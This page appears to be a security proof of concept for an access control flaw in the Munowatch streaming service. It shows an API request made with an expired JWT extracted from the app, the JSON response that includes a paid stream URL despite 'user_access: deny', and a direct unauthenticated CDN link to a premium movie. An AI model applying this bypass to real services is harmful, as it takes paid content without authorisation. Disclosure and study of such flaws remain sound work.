SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Cute Bodyguard with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Cute Bodyguard
Vj Baros Series 43h 07m 3 years ago

“Cute Bodyguard” tells the love story between Gu Rong, an arrogant and trouble-making rich second generation, and Su Jing Jing, a strong girl who looks gentle and cute. Because of an accident, Su Jing Jing becomes Gu Rong's bodyguard. Though they don't know each other before this accident, romantic love starts as they get involved in each other's life.

Episodes
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 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/33011/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 47
video_name CUTE BODYGUARD 1...vj baros.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek-vault.b-cdn.net/stw42/fya/CUTE%20BODYGUARD%201...vj%20baros.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 33011,
    "video_title": "Cute Bodyguard",
    "description": " \u201cCute Bodyguard\u201d tells the love story between Gu Rong, an arrogant and trouble-making rich second generation, and Su Jing Jing, a strong girl who looks gentle and cute. Because of an accident, Su Jing Jing becomes Gu Rong's bodyguard. Though they don't know each other before this accident, romantic love starts as they get involved in each other's life.",
    "video_name": "CUTE BODYGUARD 1...vj baros.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "47",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "43h 07m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/Ajr7pbJs1T2974.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2023-01-05",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "38499",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "506.5 MB",
    "create_date": "2023-01-05 05:52:07",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 47,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "155220.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Baros",
    "trailer_playing_url": "",
    "episodes": 24,
    "episode_state": "NEXT",
    "nxt_eps": "EPS  2",
    "nxt_eps_id": 33013,
    "nxt_eps_title": "Cute Bodyguard 2",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "3 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}